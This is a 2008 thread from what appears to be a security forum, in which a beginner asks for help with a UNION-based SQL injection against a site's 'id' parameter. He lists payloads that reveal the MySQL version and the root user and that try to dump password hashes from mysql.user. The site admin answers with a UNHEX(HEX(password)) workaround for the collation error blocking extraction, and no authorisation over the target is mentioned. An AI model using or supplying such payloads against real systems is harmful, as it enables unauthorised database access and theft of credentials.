|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
injetion help |
|
Posted: Thu Feb 28, 2008 3:50 pm |
|
|
dfc7 |
Beginner |
|
|
Joined: Feb 28, 2008 |
Posts: 2 |
|
|
|
|
|
|
|
Hi everyone, i need some help
Im trying this
Code: | id=-1+union+all+select+1,2,3,4--+ |
and i got 1
then
Code: | id=-1+union+all+select+@@version,2,3,4--+ |
5.0.15-standard
i didnt try with information.shcema yet (actually i dont know, im newbie)
then i tried this
Code: | -1+union+all+select+user,2,3,4+from+mysql.user--+ |
and got root
but when i try this
Code: | -1+union+all+select+user,password,3,4+from+mysql.user--+ |
or
Code: | -1+union+all+select+password,2,3,4+from+mysql.user--+ |
i get "Illegal mix of collations (utf8_unicode_ci,IMPLICIT) and (latin1_bin,IMPLICIT) for operation 'UNION'"
What should i do? |
|
|
|
|
Posted: Thu Feb 28, 2008 5:13 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Try this:
Code: |
-1+union+all+select+UNHEX(HEX(password)),2,3,4+from+mysql.user--+
|
|
|
|
|
|
Posted: Fri Feb 29, 2008 2:03 am |
|
|
dfc7 |
Beginner |
|
|
Joined: Feb 28, 2008 |
Posts: 2 |
|
|
|
|
|
|
|
i tried that but i got nothing |
|
|
|
|
Posted: Fri Feb 29, 2008 3:55 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
dfc7 wrote: | i tried that but i got nothing |
Maybe root mysql user is with empty password?
Is there any error messages? |
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|